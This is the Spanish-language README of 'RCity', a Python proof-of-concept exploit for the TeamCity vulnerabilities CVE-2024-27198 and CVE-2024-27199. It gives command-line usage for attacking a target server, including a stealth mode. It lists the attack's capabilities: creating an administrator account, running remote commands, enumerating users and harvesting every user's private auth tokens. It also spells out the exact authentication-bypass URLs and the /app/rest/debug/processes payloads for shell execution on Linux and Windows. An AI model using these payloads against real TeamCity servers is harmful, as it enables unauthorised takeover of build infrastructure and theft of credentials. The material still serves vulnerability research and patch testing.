
CVE-2024-27198 y CVE-2024-27199 PoC - RCE, Creación de cuentas de administrador, Enumeración de usuarios, Información del servidor
Explotando CVE-2024-27198 y CVE-2024-27199
RCity es un script de Python que interactúa con un servidor TeamCity vulnerable. El CVE facilita la creación de cuentas de administrador no autorizadas, omitiendo los 403 en el dominio. Además, logra RCE a través de la ruta Debug/Processes.
Para usar el script, debes proporcionar la URL del servidor TeamCity objetivo como argumento de línea de comandos con el argumento -t o --target:
python3 RCity.py -t http://teamcity.com:8111
Puedes aumentar la verbosidad de la salida con la opción -v o --verbose:
python3 RCity.py -t http://teamcity.com:8111 --verbose
Puedes enviar comandos únicos directamente a través de la opción -c o --command, si deseas un shell interactivo NO uses esta opción. No es amigable con reverse shells, ya que la conexión se cierra después de enviar el comando:
python3 RCity.py -t http://teamcity.com:8111 -c id
Puedes asegurarte de que no se envíen solicitudes POST al servidor TeamCity usando la opción -s o --stealth.
python3 RCity.py -t http://teamcity.com:8111 -s
Desactiva la función RCE - Todo lo demás permanece igual
python3 RCity.py -t http://teamcity.com:8111 --no-rce
Evita que se recopile la lista de usuarios, puede llevar tiempo en listas de usuarios grandes. ¡Salta directamente a RCE con esto!
python3 RCity.py -t http://teamcity.com:8111 --no-enum
Creación de Cuenta de Administrador
Ejecución Remota de Código
Generación de Tokens de Autorización
Enumeración de Usuarios
Recopilación de todos los Tokens de Autenticación Privados de los Usuarios
Obtención de Detalles del Servidor



Aquí repasaré las funciones utilizadas en este proyecto, para brindarte una mejor comprensión detrás de este exploit y las vulnerabilidades asociadas.
La naturaleza de la vulnerabilidad se correlaciona entre CVE-2024-27198 y 99 debido a que el problema se origina del mismo bypass de autenticación para rutas de API REST en servidores TeamCity de JetBrains. Sin embargo, el impacto de dicha vulnerabilidad es donde se intercambia y se vuelve interesante... CVE-2024-27198 es el más fuerte en teoría, debido a su impacto de RCE revelado, aprovecha el endpoint /app/rest/debug/processes, SOLO con los permisos para realizar las solicitudes necesarias a este endpoint, mediante un Token de Autenticación. Esta llamada a este endpoint difiere entre hosts Unix y Windows, sin embargo se manipula de manera similar, la única diferencia es el shell nativo que se invoca para una solicitud.
Linux - processes?exePath=/bin/sh¶ms=-c¶ms={yourRCE_HTMLEncoded}
Windows - processes?exePath=cmd.exe¶ms=/c¶ms={yourRCE_HTMLEncoded}
Ahora, como se mencionó antes, esto no es posible sin autenticación, ¿debería ser seguro... verdad? Ahí es donde entra la Omisión de Autenticación.
Bypassear la política de la compilación de TeamCity abre la oportunidad de realizar solicitudes contra el servidor y colocar nuestro Token de Autenticación allí, sin siquiera necesitar técnicamente nuestra propia cuenta.
El bypass en sí consiste en crear una ruta alternativa a las rutas REST, que sin entrar en demasiados detalles, requiere el control de los contenidos en una clase cuya función es manejar solicitudes, específicamente aquellas que no son 302 (redirecciones), lo que luego nos permite controlarlo agregando 3 partes necesarias a nuestra URL.
Un endpoint no autenticado que no active un 302, en nuestro caso /hax
Un parámetro de consulta de URL llamado jsp para consultar las rutas de la API, por ejemplo, la ruta users ?jsp=/app/rest/users
Una ruta URI arbitraria que termina con .jsp. Esto se puede lograr agregando un segmento de parámetro de ruta HTTP ;.jsp
Lo que significa que el payload final para realizar solicitudes no autorizadas al endpoint de usuarios es: /hax?jsp=/app/rest/users;.jsp
Ahora podemos hacer solicitudes contra el endpoint de usuarios y agregar nuestros propios usuarios, ¡incluso Administradores!
Sin embargo, antes de poder llegar a RCE, necesitamos un Token de Autenticación, como portador para nuestras solicitudes RCE contra su API REST. No hay problema, ahora que tenemos nuestro bypass, ¡vamos a crear uno!
El endpoint de token seguía el mismo árbol de rutas que el ejemplo anterior, se puede encontrar en /app/rest/users/id:{user_id}/tokens/{token_name}. ¡Así que construyamos otro payload para omitir la autenticación y crear un token!
(Nosotros proporcionamos nuestro propio nombre de token para esto, en este script es una generación aleatoria de caracteres alfanuméricos ASCII).
/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp
Después de hacer nuestra solicitud POST para agregar nuestro token a nuestro usuario recién creado, ¡ahora podemos comenzar a hacer solicitudes contra la ruta /app/rest/debug/processes!
No hay nada especial en la elaboración de nuestros payloads RCE, ¡solo codifica en HTML tus payloads en el argumento params!
¡Feliz hacking!
https://nvd.nist.gov/vuln/detail/CVE-2024-27198
https://github.com/W01fh4cker/CVE-2024-27198-RCE
Este script es solo para fines educativos. Úsalo de manera responsable y solo en sistemas para los que tengas permiso de acceso.